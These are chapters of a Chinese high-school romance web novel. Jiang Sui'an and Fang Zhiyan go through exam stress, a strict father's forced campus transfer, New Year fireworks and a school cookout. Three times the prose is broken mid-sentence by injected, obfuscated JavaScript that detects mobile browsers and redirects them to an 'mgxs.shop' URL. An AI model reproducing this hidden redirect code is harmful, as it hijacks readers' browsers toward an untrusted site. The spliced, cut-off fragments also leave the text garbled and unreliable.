“这是你的事情,为什么在意我的感受呢,我除了告诉你‘下次注意’或者刨根问底,对你自己的成长作用是极其有限的,你得先过了自己的关。”陈建材叹了口气——执教二三十年,这样的小孩他见得也够多,姜岁安自是不算特别地特别。 又一阵冷风从室外灌进来,风的主人是方知言。 他站在姜岁安身边,对着陈建材说:“老师,有个问题想请教你一下。” 陈建材扶了扶眼镜:“咋追到这里来。唉——来就来了吧,去,拿我的卡去刷个鸡腿吃。” 方知言接过陈建材的卡,姜岁安收起碗筷,与他,擦身而过。 方知言眉目宛转,视线轻轻跟着她,直到她的背影彻底消失在这一方小小的天地。 除走读学生外,汐城一中的学生是禁止带手机入校的,而且走读学生的手机在进入班级的那一刻,就要自动上交到班级监控底下的收纳箱里。 住宿的学生一般会办电话卡,平常联系家人时就使用学校的挂壁式电话机。 此时距离期末还有十五天。 姜岁安失眠了——因为一篇没写完的作文。 她又忽然想到了方知言的神色,意识到自己在他面前屡屡失态,气不打一处来。 暮色沉沉,宿舍外老榕树上的知了闷闷地叫着。 她动作轻轻地从上铺爬起来,下床梯的时候还是不免让床发出了“嘎吱嘎吱”的响,惹来了被窝发亮的何佳的一声不满。 她没有在意,拿上电话卡穿好拖鞋就出了房间。 何佳不说什么,只是呆呆从被窝里探出一个头,也下了床,悄悄地跟在姜岁安身后。 “喂,姜女士……”姜岁安没忍住,哽咽一声后低声啜泣,怕吵到还在睡觉的同学,她压低的声音因为喉咙酸涩而模糊不清。 “妈,我真的……我不知道自己为什么会这样,我压力太大了,笔都拿不稳,脑子里也很乱……我没有写完作文,我感觉完蛋了……” 何佳没有继续听下去,不知是悲是喜。 半喜半悲吧。 喜是发现了姜岁安胆怯的一面,悲是因为她至少还能和自己的父母倾诉。她悄声回了宿舍,放了一包纸巾在姜岁安床上。 那一次姜岁安考得很差,可她却很庆幸这场失控发生在期末和高考之前。 此刻她最想的,是家。 无数人究其一生,只做别人需要的事情。 无数人究其一生,只做自己想做的事情。 姜岁安总觉得自己的家庭幸福美满,可她很难面对面向爸爸妈妈表达出爱。她写过很多东西,也喜欢写东西,可总在规避“家是温柔的避风港”这句话,觉得煽情。 她表面阳光开朗,内心却对一切事物设防,这是她自己都不曾意识到的事情。 期末联考前的那个周末,学校很仁慈地给学生放了假,她也如愿又回了家。 推开那扇门,询问是爸爸妈妈的那句——“等你吃饭。” 他们好像从不在意姜岁安掉了多少名次,而是掉了多少斤肉,掉了多少根头发。 姜岁安想:或许哪一天再听到这四个字,不会泪流满面吧。 他们总会说“等你吃饭”,就好像太阳,照常升起。 姜岁安在家的第二天傍晚,刚洗完澡,头发半干,灶台上牛先生和姜女士在研究新菜谱,她刚想凑个脑袋去看看,就突然收到方知言的消息。 她先是开窗,后垂眸,扫视了底下一周,方知言仰着头朝她笑。他左手拿了东西,右手将食指放在唇上,示意她噤声。 姜岁安心头一颤,着急忙慌地拿了件外套裹在身上,趁着爸爸妈妈在厨房做饭的功夫下了楼。 她不知道方知言是怎么找到这里来的,也不知道他来此的目的。 毕竟考试在即,大家压力都大,学校半个月才放一次假,她也不愿意再占用方知言的时间让他为自己补课。 这么说来,姜岁安觉得方知言可是一个再无私不过的人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276481|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她问他怎么突然想到来找自己。 方知言支支吾吾没道出个所以然,只好把陈建材供出来,补了句:“见你最近情绪不大好,应该是遇到了什么事。不过你想不想跟我说是你自己的事,我不强求。” 多质朴的、真诚的、半真半假的理由。 她说:“你倒不如直说是想我了。” “我们一周五天,出个门就能见面,没什么想不想的。” 方知言嘴角上扬,这几日太阳很大,冬风和煦,傍晚的风吹在他身上,吹乱衣襟,更将姜岁安洗发液的味道吹进他心里。 这是再奇怪不过的感觉,他们是同学,可同学能随便见人生活的姿态吗?他没敢继续想,把准备好的礼物提了起来。 “我向我们家阿姨学着做的,有点丑,你别介意。”方知言真诚地看着她的眼睛,语气倒不显得拘谨,只是脸上挂了两坨明晃晃的红,让他的矜持装不下害羞的馅儿。 姜岁安透过那小小的透明礼盒看见了里面的东西——一只小小的、模样古怪的小狗蛋糕。 方知言这种公子哥,应该是切个土豆都能让自己身负重伤的人,这点姜岁安十分明白,因而她不会嘲笑他挤不均匀的奶油和切不好看的面包胚。 她觉得,方知言这人十分有趣。 姜岁安说:“谢谢你呀,我真的很喜欢。不过,我也不知道你要来,没准备什么礼物,要不等下留在这儿吃个晚饭再走?” 方知言思索一阵,拒绝了。 姜岁安当然知道他会拒绝,但想与他再多说几句,于是乎,她将注意力再放回那只眼睛一颗大一颗小的小狗蛋糕上。 她闲着的手撩了撩头发,眉毛轻挑,问:“你为什么会觉得我像只金毛呢?” 方知言可没与她讲过这层意思,没想到姜岁安口直心快,将他这层赤裸裸的隐喻昭然若揭。他没法逃,只能说:“觉得你,像一只小金毛,活泼明媚、一往无前……所以,别太慌张。” 姜岁安拿着蛋糕的手不灵活地作着揖,还没来得及细想他的意思,只能先说:“虽然你说了跟没说一样,但是谬赞谬赞。” 两人相视而笑。 所以,没什么事情是亲人和朋友解决不了的吧,姜岁安想。 剩下的时间里,大家都在干着自己的事。 无论是擦肩而过,还是无意相望,也只不过一场浅笑。 姜岁安在大哭一场之后,安安稳稳渡过了高三上的期末。 这次期末考,她没有超常发挥,也没有发挥失常,刚好第十五名,没有小数,总分以“0”结尾,算是完完满满的一次考试。 值得一提的是,陈建材比自己少考了一分,出分的那天,她还耀武扬威地跑去陈建材办公室提醒他红包的事情。 陈建材瞧她那副嘚瑟的模样,说她本性难移。 方知言的名字稳稳落在第二名的位置上,姜岁安在收拾行李回家的路上遇到了他,他手上没有行李,只有几本书。 跟在他身后的,是一位毕恭毕敬的中年男人,男人手里拉了一个小箱子。 她打趣道:“厉害啊方知言,全汐城就你和静雯两个人文科上六百八,我要是有你这成绩,压岁钱都不知道翻了多少番了。” 方知言的笑容僵住,尴尬地咳了一声。 他眼底那一瞬的失落闪过,被姜岁安捕捉到,她心下一滞,在他明眸之中,仓皇失措:“我……” 他说:“岁安,再见。” 姜岁安突然意识到自己说错了话。 因为方知言是第二,夏静雯是第一。 11. 她自雨疏风骤来(五) 鲁叔把方知言接回别墅时,已是傍晚了,暮色把别墅上空染成橘黄的茶汤,好似方父最爱的青柑普洱。 他让保姆把他在学校住宿用的床上用品拿去清洗后,就在屋里屋外溜达了一圈,没发现父亲的影子,但却在后花园看到了正在修剪花花草草的母亲。 他竟舒了一口气。 晚上吃饭的时候,圆桌上添了姐姐和父亲的身影。 这是在方知语上大学、方知言上高三之后家里难得一见的团聚。 方父突然开口:“特意让阿姨煲的莲子羹,败火的。别看汐城现在是冬天,叫人冒火的事情可不少。” 方知言往嘴里送葱烧海参的筷子顿了顿。 方母和方知语面面相觑,不知道他具体指的到底是什么事,但她们知道,方父最近被收购和竞标的事情弄得极其头痛——而他最有力的竞争者,就是一直以来压方氏集团一头的程氏集团。 方父从面前的青瓷小盅里舀了一勺莲子羹,甘苦下肚后回味清甜,他神色忧郁又带些阴戾地对方知言说:“知言,这次是不是没发挥好啊,我看你跟第一名的同学差了四分啊……你最近松懈了?这不行的啊,考不到第一的话你怎么有竞争的资本呢?” 方知言想说自己已经尽力了,可他心知自己父亲对于“尽力”的标准是“第一的成绩”,于是惺惺地闭嘴了。 他其实知道以自己现在的成绩和户籍上S大是很轻松的,但他也知道父亲只是想在高考结束后的新闻发布会上长脸。 第二不够有面,第一才有噱头。 想起姐姐因为高考是全省理科第二名还被数落“女孩还是不行”,一股无名的恼火又烧到他心里:“第一名的同学将来要报警校的,我考第二也没什么关系。” 那莲子的苦在方父的胃里放大了方知言一句顶撞所产生的烧心的感觉,本就不如意的他筷子一拍,厉声道:“什么意思?你万年老二你给我长好大的脸是吧?考警校的人家都能学那么好,那我从小在你身上花的钱和心血算什么?” 方知言嘴角溢出一抹无奈的笑,低头继续拆解着本就没什么刺的鳕鱼来缓解自己的恐惧。他开口,伴随着叉子在盘中来回划动的噪音,语气里充斥着难言的苦涩和质疑:“你对我们的爱来源于对‘投资’的期待吗?我们在你眼里,难道是只能涨不能跌的股票吗?” 方知语在桌子底下扯了扯方知言的衣角,随即说:“爸消消气,他自己也很难受,说的都是气话,”方知语朝自己那个犟驴脾气改不了的弟弟使了个眼色,“对吧知言?” “我怎么生了你这种白眼狼,老子跟你妈我们这些年为你付出了多少!如果这都不是爱的话,那什么是? “我所做的一切,都是在为你的未来考虑,为你这个不成熟还自我感觉良好的小孩铺路! “方知言你自己说说,你清楚你自己拥有的一切是谁给你的吗?你能不能有你姐一半懂事……咳咳……” 方母伸手在方父的背上轻轻抚摸,想顺下他的火气,一个眼神企图喝止还欲说话的方知言。 方知言第一次无视了父母的要求:“我只知道,您从未给过我们尊重和自由。” 方父冷哼一声,狠戾的精光藏在眼角的皱纹之中,心脏痛得沉重。 他平复好心情,心里觉得方知言幼稚又自大。他不怎么失控的表情此时也恢复了平静,冷冷地说:“你什么时候足够强大了,才会获得你所说的尊重和自由。尊重和自由是靠拼来的,不是靠任何关系施舍给你的。 “还有,我现在郑重通知你,为了让你安安心心学习,我已经跟校长打好招呼了,下学期你直接去你们学校的新校区,手续什么的我会托人办好。那边重点班的师资力量不比总部差的,你老老实实的别有什么乱七八糟的想法了…… “别以为我不知道你现在在学校都把心思花在哪里了。” 方知言很疑惑,什么叫“他在学校都把心思花在哪儿了”,他对父亲的控诉感到十分不解,以至于脑子里自动短暂过滤了“下学期要搬去新校区”的讯息。 方父见他没有说话,更想跟他较劲了,丝毫不管方母掐了一把他的手臂示意他“不要再说”。 他恨铁不成钢地说:“你学什么不好,学人家谈朋友?方知言,你胆子忒大了啊现在。嗯?愣着不说话干什么,啊,我问你,你没事把女孩子笔迹的作文藏柜里干嘛?那个女孩子就是你经常跟你在书店里碰面的那个吧。” 他有气无处发泄,想来又是鲁叔通风报信,简直无语,又只觉得自己的指控正确无比——“您从未给过我们尊重和自由”。 方知言没有说话,囫囵吞下最后一口鱼肉就走出了客厅,上楼回到自己房间。 方知语见状,无奈瞄了瞄父亲,眸色一沉,快步跟上了方知言。 方母望着方知语和方知言一大一小的两个背影都淡出了视线,责怪道:“把孩子逼成这样干嘛?” 方父又舀了一大勺莲子羹到专门喝汤的瓷盅里,说:“小时候还说把他脾性练乖了,没想到还是犟驴一头……我不信我管不了他了还!” “你呀,就是管太严,物极必反了。” “老婆啊,您又不是不知道,我们家里,哪一个不是这样过来的。富贾不以严教后世便只顾享乐,成不了器的。古之成大事者,必先苦其心智,劳其筋骨,”方父苦恼地挠挠头,给自己说恼了,连咳几声后大脑有些缺氧,道,“真是事事不顺。” “梁姨,撤下吧,我们不吃了。”方母的蕊紫绸缎连衣裙袖子一挥,招来保姆,没成想被方父打断。 他说:“梁姨啊,莲子羹留下吧,败火。” 方知语趴在方知言反锁住的门前。 “知言,我们聊聊?” …… 方知言将父亲口中“女孩子笔迹的作文”拿给了方知语看,解释自己是抱着“虚心学习”的态度才这样的。 方知语一眼识破他半真半假的话,小心翼翼地问他是不是对姜岁安有心动的感觉,只见自己弟弟点点头又摇摇头,回应道:“我不清楚什么是喜欢,我只知道,我很欣赏她,她勇敢、自由、明媚又带点理性文艺……其实还蛮羡慕的。” “青春期有点悸动很正常,但你别把自己陷进去就行。” 方知言说:“我没有,姐,你误会了。” “你从小不会说谎,所以我信任你,但在爸面前,做做样子就能避免很多麻烦,你也别太有脾气。” 方知语大概懂了,没继续深究,便跟方知言吐槽起了大学生活的种种——小组作业、班级会议、保研内幕…… 但她最后嘱咐了方知言一句:“知言,在考大学这个问题上,我与爸是站在同一战线上的。他确实不对,但你……也别恨他。” “我不恨他,只是想逃离他。既然事情已经发生了,再去迁怒自己或者他人都没有意义,我在想,该用什么样的方式去告别。” “你说跟那个女孩?” “不止。” 他的内心燃起了一朵冷冷的雨夜里开了一半的花,可那雪的季节提前来了,催花落下。 他们的第一次正式相识是在雨刻时分,那时雨落得稀疏可风却很大。 所以,那人自雨疏风骤来。 “她叫什么名字?” “谁?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276482|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“她。” “哪个他。” 方知语笑出了声:“女也她。” “姜岁安。” “怎么认识的?” “她自雨疏风骤来。” “少在这里卖弄。” “姐,你别逼我了。” 经此一吵,方知言和方父的关系冷至冰点,哪怕除夕的红艳喜庆将至,寒冬也依旧笼罩着别墅。 方家的年味其实并不算浓,对方知言来讲,就是将许久未见的亲人们聚在一个豪华的酒店里,向竞争对手们展示自己的家庭和睦,吃喝玩乐后又各奔东西,与任何节日的固定仪式别无两样。 更何况,父亲和母亲鲜少有充裕的时间逃离工作,他们大多时间都在忙中和通往忙的路上,难得一次的家庭小聚,还以不欢而散收场。 所以,他已经做好了拥有一个自由除夕的准备。 重逢书店闭馆休息的前一天,他刻意选择了二楼靠窗的位置,果不其然在书店里遇到了姜岁安。 姜岁安将背包放在方知言对面的椅子上,见他墨色的眼眸沉沉埋在眼皮之中毫无光泽,问道:“怎么一副闷闷不乐的样子?” 方知言神色诚恳地问:“姜岁安,你会害怕在遇到一个特别的人后,自己又不得不与之分别吗?” 姜岁安说:“我觉得吧,如果你们是很好的朋友,就算不在一个城市甚至不在一个国家,又有什么关系呢? “有个比较玄乎的说法,一次离别是新起点的开始,你不能逃避离开的事实,但你可以在新环境里维持它,这对一段关系来说是考验,但我觉得更是一种机会吧。 “啊——我什么时候也像你一样喜欢给人煲鸡汤了……话说你为什么会问这么伤感的问题?” 方知言闪烁其词地把最近发生的事告诉了姜岁安,但刻意隐瞒了一些话。 她说:“这太突然了。叔叔确实不应该先手决定你的选择,如果是我的话我肯定直接跟我爸闹了,你还能这么冷静地分析利弊,不愧是你方知言啊。 “不过我觉得,方知言你不论在哪里,都是闪闪发光的存在,什么‘第一名’‘第二名’……就算是‘第一百名’那又怎么了,能证明‘方知言不是方知言’的悖论吗?你做你自己就好,为什么非得成为别人心中的模样……” 姜岁安张牙舞爪地宣讲着自己的宏伟道理,期间喝了三次水,瓢了四次嘴,借了五次典,玩了六个谐音梗。 方知言脉脉无声地听着她对自己的开导,幻想中的不舍和遗憾没有被她激情的演讲消灭,反而更加汹涌地伴着视线流淌在她身上。 她应该去说脱口秀。 不对,该去讲相声。 或者……当一个辩手? 她身上好像分化出了好多人的影子,定睛后,姜岁安依旧是姜岁安。 “特别的人”似乎没有意识到自己是那“特别的人”,她说道:“不到半年时间而已嘛,只是不在一个校区而已,又不是再也不见了,想开点。” 方知言眉眼舒展,像寒冬走后留下的风轻云淡,他左手撑脸,歪头一笑,说:“谢谢你,对我来说特别的人。” 姜岁安只觉得空气凝滞在汐城的隆冬,原本跟着背景音乐律动的心跳被打乱节奏,如今“咚咚咚”地奏着欢快的曲调。 “对我来说,你们都是特别的人。”他补充。 姜岁安知晓他所说的“你们”。她心里的紧张褪去,可涌上来的不是期待的轻松,而是一团吸了眼泪的棉花,堵得人有些难受。 “你们对我来说,也都是特别的人。” 姜岁安把那道不明的情绪传染给了方知言。 12. 她自雨疏风骤来(六) 姜岁安那天晚上失眠了。 方知言要转校的事情像酒一样,虽然她没喝过酒,但用这样的比喻,是因为比喻义里,酒的后劲很大——初听无可奈何,甚至还能安慰他几句,可越是到了夜里,烦躁和悲伤就愈加旺盛。 她不曾遇到过什么特别的人,许是方知言太过耀眼,又在自己面前暴露平凡,于是她有些贪婪地想要汲取他对自己以朋友身份的认真对待。 或许这样的想法有点迷失自我,但至少她觉得自己有了这一重身份之后会更加特别。 她舍不得这种说不明白的感情,因为感性,也太明白自己最讨厌清晰的怀念。 姜岁安不曾经历过什么离别,所以小小的年纪在这件事情上谈不上豁达——虽然她知道他们还会相见,因为汐城就这么大点儿。 她出生前爷爷就去世了,而奶奶身体一直很好,外公外婆跟着舅舅舅妈在美国定居,父母也都还健康;没有青梅竹马但朋友不少,可都是阶段性的,没什么深交的人;爱情小说和电视剧看得多,自诩对男人的要求很高,对恋爱没有什么特别的幻想,所以也没有过一场像模像样的暗恋。 所以她真的没经历过什么离别。 可是她敏锐地发觉,自己在搅浑方知言这滩水。 他说话的时候不敢直视自己的眼睛,可木讷的时候却要夺走自己的视线。 所以这个夜里,她一直在想,船到桥头,会自然直吗? 会不会直,她不知道,但年来了,不为谁的期待而来,更不为谁的排斥而不来。 年到春头,会自然来。 蓝莓山药、红豆焦糖布丁、辣炒花蟹、清蒸鲈鱼、腊肉香肠拼盘、仔姜鸡煲、排骨藕汤、小炒青菜…… 如果你要问姜岁安如何拥有这一大桌年夜饭,她会回答——拥有一个厨师爸爸和糕点师妈妈! 不过餐饮行业除夕不放假似乎已经成为了行业的任务,毕竟许多家庭会选择在外面吃年夜饭。 父亲在自己的餐馆里与家里人小聚之后,就又忙着去后厨工作了。 姜岁安虽心里空落落的,但也已经习惯了。 母亲与好友们在家里搓着麻将,姜岁安便和奶奶窝在沙发上看春晚,一边看一边帮奶奶认明星,等待着李谷一《难忘今宵》开启新的一年。 “小虎队咋越老越年轻嘞?” “奶,这叫TFBOYS。” “咋这少人嘞?你屋子里头贴的不是这啊?” “奶,那是EXO,E不发音,而且那是表姐贴的,又不是我贴的。” 姜岁安打了个哈欠,想着看春晚不如看琼瑶和金庸。 摆在茶几上的手机突然亮了起来,她摸来手机一看,是方知言发来的短信——今天晚上有空吗? 她一下就从侧躺转成正襟危坐,只见屏幕那方的人解释道——我们家和其他几个叔叔的企业合资准备了一场烟花展,我想邀请你去愿海边上的长堤看。 姜岁安问:就我一个? 屏幕那头迟疑了一会儿,后来说:蒋翼铭和夏静雯回老家了,不在汐城。 她想了想,说:真的? 对方回:真的。 正感叹着春晚“一届不如一届”的姜岁安顿时来了兴趣,着急装扮了一下就跟喊着“胡了”的姜女士报备道:“姜女士,我要去愿海看烟花,你去吗?阿姨你们呢?” “烟花你们小孩子看的,我们才不去,不过安安你自己注意安全哦。来来来,给钱啊大家,别赖账,过了十二点,欠钱可就是欠了一年了啊。”姜女士正沉浸在赢钱的快乐之中,稍微嘱咐了下姜岁安,就继续投身牌局了。 姜岁安穿着一身白色的羊绒大衣,系着红色围巾,踱步在长堤。 “姜岁安。” 她寻声回眸,方知言不知何时已站在了自己身侧,身体将愿海在星光之下的闪烁遮了一半。 姜岁安告诉方知言,附近天文台屋顶是个绝佳的观赏位置。 她食指贴在唇上,故作神秘地说:“一般人不知道的。” 她拉起方知言的袖子往废弃的天文台走,在看到时间还剩十分钟后加快了脚步。两人用围巾包裹住脸,做着隔绝冷风的无用功。 洋溢着幸福与期待的年末之末,间隔有些长的路灯将两个狂奔的影子快速地抻长又揉合。 那天文台穿着掉皮的衣裳,就这样孤零零地矗立在短而杂的枯草之中。 小时候姜岁安就爱和朋友们在这里玩耍,白日捉迷藏,晚日数星星。 姜岁安在楼阁侧壁打开灯,两人的运动鞋“咚咚”地敲响木质的阶梯。 扒在栏杆旁,两个人都有些喘,方知言的加绒卫衣被弄皱,姜岁安的头发被吹乱。 她在心里默数,但却在最后一秒惊呼出了声:十、九、八……三、二、一! “咻——嘭!哗啦啦——” 零时零分零秒,时间正好。 一条条竖直飞升,一朵朵炸开,绽出绚丽的火花;一排排冲上黑夜,一束束流星上冲,轨迹伴随着硝烟停留片刻。 心跳的律动跟着烟花炸裂散开,消失在夜里。 人们连交换眼神的时间都没有,毕竟是昙花一现的事情——火焰转瞬即逝,掉入汐城半结成冰的海里。 长堤上和愿海沙滩上人头攒动,熙熙攘攘,热闹非凡。 “别看我了,看烟花。”姜岁安抬手,把他的脸别过去。方知言听不清楚,烟花声很大,只觉得姜岁安的手掌有些冰。 “你不看我,怎么知道我在看你。”他嗤笑。 “我知道的,”姜岁安勾起唇角,将余光献给方知言的面庞,她继续道,“很多人都会在海边的长堤上看,因为汐城冬季的海还别有一番韵味。但其实这个废旧天文台屋顶才是最佳观景地。这里虽然荒废了很久,但城区清洁大队还会定期打扫。” 他点点头。 “好看吗?”过了一会儿,姜岁安问。 “好看。”方知言额前的碎发被风掀起,发际线处有几颗不大明显的痘印。月色下长堤上人头攒动,闪光灯不断,热闹流于表面,快乐释放于内心。 他的声音在人潮的呼喊声和烟花的爆鸣声中显得空灵而缥缈,姜岁安一下子没听清。 “嗯?”她疑惑。 “烟花,好看。” 姜岁安的头微微抬起,面不动发丝却飘扬,眼珠像是装了花火的玻璃球——干净,好看。 那一夜他的呼吸将局域的风吹得暖。 “咕噜噜——”方知言的肚子不合时宜地响了起来。 这里有个除夕夜饿肚子的人。 方知言尴尬地解释:“晚饭的时候没什么胃口,酒店后厨还做了我不吃的芹菜,吃的比较少,所以……” 姜岁安觉得他越解释得详细,这话的真实性就越低。 她问:“方知言,你喜欢吃饺子吗?” 方知言眨巴着眼睛。 “咕嘟咕嘟的饺子。” “不是芹菜馅的,就行。” 姜岁安思来想去,还是决定问问:“你上次跟我说的事,我还是没太明白,好端端的,为什么要走?” 他说是因为想换换环境。 姜岁安嗤笑一声:“又骗?” 方知言没有说话,默认了她的猜忌,但还是稍加反驳。 姜岁安不知道他葫芦里卖的什么药,但既然他不愿意说,那自己也不应该强求什么,就佯装宽容:“好吧好吧,你不想说就算了,反正也不是什么大不了的事。” 方知言似乎一点也不相信她口中的“不在意”,纠正她:“也算是大事吧……你,为什么那么在意?” “不是跟你说过的嘛,我这人喜欢听真话。” “那要是真相很残酷呢?” “先知道,再去选择相不相信。你知道,人说话是为了什么吗?” “交换信息。” 姜岁安眨眨眼,说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276483|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半对不对吧。王小波说,人说话是为了让别人得知自己的恳求,也不是非要得到认同,所以既然是恳求,再欺骗就没有意思了。” 他说:“我以为这其中有什么惊天动地的故事呢。” 她说:“我可没什么传奇的人生经历,也没什么错综复杂的人际关系,就是个普通人,没有故事,说不出什么令人惊讶的好话,只好绕过实践去书里找找道理。” 他说:“那是因为我们还年轻。” 姜岁安笑得灿烂,伸了个懒腰:“当然,我们还年轻!” “咕嘟咕嘟……” 方知言的肚子又不合时宜地叫了起来。 姜岁安尴尬地说:“肠鸣,我懂,我懂,”走到路边,她突然郑重地问,“会骑电驴不?” 方知言摇摇头。 姜岁安看了看共享电动车上“限坐一人”的标识,舔了舔嘴巴,先让方知言跟着自己跑过大路,到没交警的小路那儿,再上车。 方知言跟在她身后大喊:“这车是非坐不可吗!” 姜岁安的嗓门却比他大:“你小声一点!” 终于熬到小路,方知言长腿一跨,说什么都不再下去了。 姜岁安戴了头盔,面上的寒意少了些,但还是冷,方知言一路上低着头,可是姜岁安的身体却一点也遮不住风,于是还没等到去她家吃饺子,就吃了一肚子的风。 姜岁安就这样违规载着一个一米八出头的大小伙子一路左拐右拐,到了小区门口。 “上去坐坐?” “不了。” “你怕什么?我父母很开明的。” “不是这个意思。”方知言突然把脸别过去,不敢看她。 姜岁安屈指放在唇边,歪头懒洋洋问:“那是什么意思?” “太麻烦了。” “下面冷。”姜岁安扬了扬下巴,把他逼到角落里,伸手按在墙上,让他退无可退。 昏黄的灯光打在方知言白里透红的脸上,长长的睫毛投下阴影,和黑眼圈重叠,称得少年的眼眸深邃。 “我不怕冷。”可他却把围巾从脖子上捋到嘴唇。 “咕嘟咕嘟……” 他的肚子又叫了几声,姜岁安没忍住,笑出了声:“怕我干嘛,我要是妖精,也得去找唐僧肉,又不会吃了你。” “咕嘟咕嘟……” 白色的蒸汽罩着在水里漂晃的白鼓鼓玩意儿。 姜岁安在厨房里煮了两份水饺,一份自己的夜宵,一份方知言的晚餐。她鬼鬼祟祟地翻出了餐盒,在小格里滴了些醋,用保温袋装上饺子就下了楼。 方知言双手接过,唇角微颤。 “自己家包的,知道你不吃芹菜,特意煮了三鲜馅的,可好吃了。那些月牙形状的是我包的,元宝形状的是牛先生,也就是我爸包的。我用保温袋给你装了一份,回去趁热吃。还有,”她清了清嗓子,郑重道,“方知言,新年快乐!” 此时此地此刻,姜岁安的双眼型似月,明如玉。星絮、焰火与邻居炮仗炸出的薄烟在她耳后堆成光亮的雪,埋下了他的青春和悸动。 “姜岁安,新年快乐!” 他拿出了一封信,递给她。 她说:“这才是你约我出来的目的吧。” “算是吧。” “是就是,不是就不是。” “是的。” ——杳杳凝霜,如愿昭昭。 这是开头。 ——姜岁安,岁岁平安。 这是结尾。 文字越往后,间隔越密、体型越小。 姜岁安彻夜难眠,抱着电脑刷起了校园论坛。即使还没开学,方知言转去分校的事情也很快就在这里传开了。 论坛里很多同学都在评论,有祝福的,但更多是在讨论原因的。 方知言说,他其实很在意别人对自己的评价,那看到墙里盖起的一层层楼,他会怎么想呢? 姜岁安想。 13. 同情的分寸(一) 姜岁安认为同情是世界上最复杂的感情。 比爱情和友情复杂得多。 她认为愤怒的本质是同情,同情他人的愚蠢,也同情自己的幼稚。姜岁安理性地认为他人并非都愚蠢,感性地认为自己绝非幼稚,因而不愿把自己放在道德的高位上去泛滥一些情怀。 可是…… 姜岁安,你真的了解自己吗? | 搬到新校区的那一瞬间,方知言有些恍惚——这感觉莫名熟悉,就好像曾梦到过一般。 他现在的目标十分明确——S大法学系。 不因别的,只因S大与A大在同一座城市,而A大一定会有他想等的人。 他十分相信她能如愿,亦如她对自己的信任。 从羽绒服写到长袖校服,似乎是转瞬之间,这其中的喜悦也好、痛苦也罢,都被成绩和试卷牢牢锁住,再无其他。 方知言甚至有点想念那日看见“罗密欧”牵起“朱丽叶”手时,那种酸酸的感觉,可现在任谁也不能再让他如此悸动。 汐城的天气随着一天天的倒计时,已渐渐热了起来,可温度还是不允许人们短袖短裤地出门。 在分校的生活与从前并没有很多不同——不过是自己专注自己的事罢了。距离高考不过百来天,没什么人会在意一个突如其来的转校生。 真要说在意的,就是他几乎不可撼动的第一名位置。他与这里的同学们建立的联系也都简单,无非是讨论题目和传收作业。 方知言的笔正放在一道“极值点偏移”上,顺畅的书写和思路被班主任的通知打断:“同学们,宣布个事。下周周一学校组织百日誓师活动,我们会和锦绣校区一起去校外野炊,大家这个周末可以回去好好准备一下,临时练练厨艺。然后呢,我们校区的学生发言代表是我们班的方知言,大家掌声鼓励一下……好了,下周事下周说,现在继续自习吧。” 新班主任掐着表,在议论和掌声混杂的骚动持续了三十秒后,便提醒着大家安静。 方知言心里沉寂了好久的盒子被这番话吹开了,露出了满腹的粉白天竺葵,蝴蝶在血液中游荡。 那日傍晚,晚修时间未到,落日仿若浸了蜜的琉璃,融在空气中,甜甜的。他走在去运动场跑步放松的路上。 汐城一中公认的校花与校草从不是外貌出众的学生,而是象征着汐城的樱花与梧桐,这也成了两个校区都心照不宣的绿化设计。 梧桐在春日形似喇叭的白花与正盛的樱花在校园的小径上空争着一日将尽的阳光,这让方知言想到了女孩在自己面前的那两个傍晚——相约采访时的梧桐之下,自重逢书店一别的樱花之中。 他才发现,新老校区的花荫小道连曲折的弧度都严丝合缝。 他上了跑道。 他开始奔跑。 迎面的风送来了她的声音,脑海中回忆的蒙太奇断断续续。 恍惚间,有人说—— “方知言!好久不见!”姜岁安眼尖,余光一瞥,就在百千学生中指认出方知言。 两个校区这次野炊可以自由组队,午饭使用的食材需要通过摊位的游戏来获取。 蒋翼铭提议:“要不我们几个组队吧,刚好四个人一组。” 从小便受到父母厨艺熏陶的姜岁安表示,自己能够胜任主厨位置,于是在还没拿到任何食材之前,几人就将工作安排好了——夏静雯捡柴、蒋翼铭生火、方知言备菜、姜岁安掌勺。 四人朝琳琅满目的食材游戏摊位进发,走出一副千军万马的气势。 食材摊位分布在露营基地的各个角落,都是些常见的蔬菜和肉蛋奶,组好队的团队可以找在场馆内穿着志愿者服的工作人员拿摊位地图,选择自己需要的食材并前去游戏。 方知言不爱芹菜、蒋翼铭不喜香菜、夏静雯海鲜过敏、姜岁安不吃肥猪肉。 几人交换过忌口和口味偏好后,最终选定了三道菜——土豆烧鸡、蒜蓉娃娃菜和西红柿炒蛋。 按照食材的摊位分布,蒋翼铭为四人拟定了一个路线——“土豆和西红柿”、“娃娃菜”、“鸡肉和鸡蛋”、“小米椒和葱姜蒜”。 姜岁安这下才感觉到方知言作为标准的好好学生,在老师眼里的白月光威力。 